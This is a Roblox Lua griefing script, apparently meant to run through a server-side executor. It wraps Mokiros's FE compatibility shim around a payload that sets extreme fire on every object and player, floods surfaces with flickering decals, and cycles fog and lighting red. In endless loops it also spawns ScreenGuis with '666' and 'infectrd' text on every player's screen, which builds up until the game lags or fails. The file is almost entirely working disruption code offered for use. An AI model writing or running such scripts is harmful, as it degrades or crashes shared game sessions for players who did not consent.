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- if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
- local Player,Mouse,mouse,UserInputService,ContextActionService = localplayer
- do
- print("FE Compatibility code by Mokiros")
- script.Parent = Player.Character
- --RemoteEvent for communicating
- local Event = Instance.new("RemoteEvent")
- Event.Name = "UserInput_Event"
- --Fake event to make stuff like Mouse.KeyDown work
- local function fakeEvent()
- local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
- t.connect = t.Connect
- return t
- end
- --Creating fake input objects with fake variables
- local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
- local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
- local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
- CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
- end}
- --Merged 2 functions into one by checking amount of arguments
- CAS.UnbindAction = CAS.BindAction
- --This function will trigger the events that have been :Connect()'ed
- local function te(self,ev,...)
- local t = m[ev]
- if t and t._fakeEvent and t.Function then
- t.Function(...)
- end
- end
- m.TrigEvent = te
- UIS.TrigEvent = te
- Event.OnServerEvent:Connect(function(plr,io)
- if plr~=Player then return end
- if io.isMouse then
- m.Target = io.Target
- m.Hit = io.Hit
- else
- local b = io.UserInputState == Enum.UserInputState.Begin
- if io.UserInputType == Enum.UserInputType.MouseButton1 then
- return m:TrigEvent(b and "Button1Down" or "Button1Up")
- end
- for _,t in pairs(CAS.Actions) do
- for _,k in pairs(t.Keys) do
- if k==io.KeyCode then
- t.Function(t.Name,io.UserInputState,io)
- end
- end
- end
- m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
- UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
- end
- end)
- Event.Parent = NLS([==[
- local Player = localplayer
- local Event = script:WaitForChild("UserInput_Event")
- local UIS = game:GetService("UserInputService")
- local input = function(io,a)
- if a then return end
- --Since InputObject is a client-side instance, we create and pass table instead
- Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
- end
- UIS.InputBegan:Connect(input)
- UIS.InputEnded:Connect(input)
- local Mouse = Player:GetMouse()
- local h,t
- --Give the server mouse data 30 times every second, but only if the values changed
- --If player is not moving their mouse, client won't fire events
- while wait(1/30) do
- if h~=Mouse.Hit or t~=Mouse.Target then
- h,t=Mouse.Hit,Mouse.Target
- Event:FireServer({isMouse=true,Target=t,Hit=h})
- end
- end]==],Player.Character)
- Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
- end
- -- :(
- fac = {"Front", "Back", "Left", "Right", "Top", "Bottom"}
- dec = {"http://www.roblox.com/asset/?id=15917021","http://www.roblox.com/asset/?id=180477389","http://www.roblox.com/asset/?id=459153664","http://www.roblox.com/asset/?id=258199424"}
- text = {"666","666","666","666","666","666","hell is a bad p l a c e","s u c c","seis seis seis","tripl 6","a a a a","1234567890","0987654321","abcdefghijklmnopqrstuvwxyz","aladdin","3e3e3e3e3e3e3e3e3e3e3e3e3e3e3e3e3e3e3e3","a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2","agggggg","infectrd"}
- preload = function(table)
- for i=1,#table do
- game:service("ContentProvider"):Preload(table[i])
- end
- end
- light = function(v)
- for i = 1, 50 do
- a2 = Instance.new("Fire", v)
- a2.Heat = 999999999999999
- a2.Size = 99999999999
- a2.Color = Color3.new(255, 0, 0)
- end
- end
- preload(dec)
- for i, v in pairs(workspace:children()) do
- light(v)
- if v:isA("Part") then
- for inc=1,6 do
- a = Instance.new("Decal",v)
- a.Face = fac[inc]
- local tab = {}
- tab[#tab + 1] = a or nil
- coroutine.resume(coroutine.create(function()
- while wait(.2) do
- for i=1,#tab do
- tab[i].Texture = dec[math.random(1,#dec)]
- end
- end
- end))
- end
- end
- end
- for i, v in pairs(game.Players:children()) do
- b = v.Character
- light(b.Torso)
- t = v.PlayerGui
- coroutine.resume(coroutine.create(function()
- while true do
- wait(.1)
- a5 = Instance.new("ScreenGui",t)
- a6 = Instance.new("TextLabel",a5)
- a6.Position = UDim2.new(math.random(),0,math.random(),0)
- a6.TextColor3 = Color3.new(255,0,0)
- a6.TextStrokeTransparency = 0
- a6.Text = text[math.random(1,#text)]
- end
- end))
- end
- l = game.Lighting
- while wait() do
- l.FogColor = Color3.new(255, 0, 0)
- l.FogEnd = math.random(1, 100)
- l.FogStart = l.FogEnd
- l.TimeOfDay = "0:00:00"
- l.Brightness = -1000000000000
- l.Ambient = Color3.new(255, 0, 0)
- l.OutdoorAmbient = Color3.new(math.random(), math.random(), math.random())
- end
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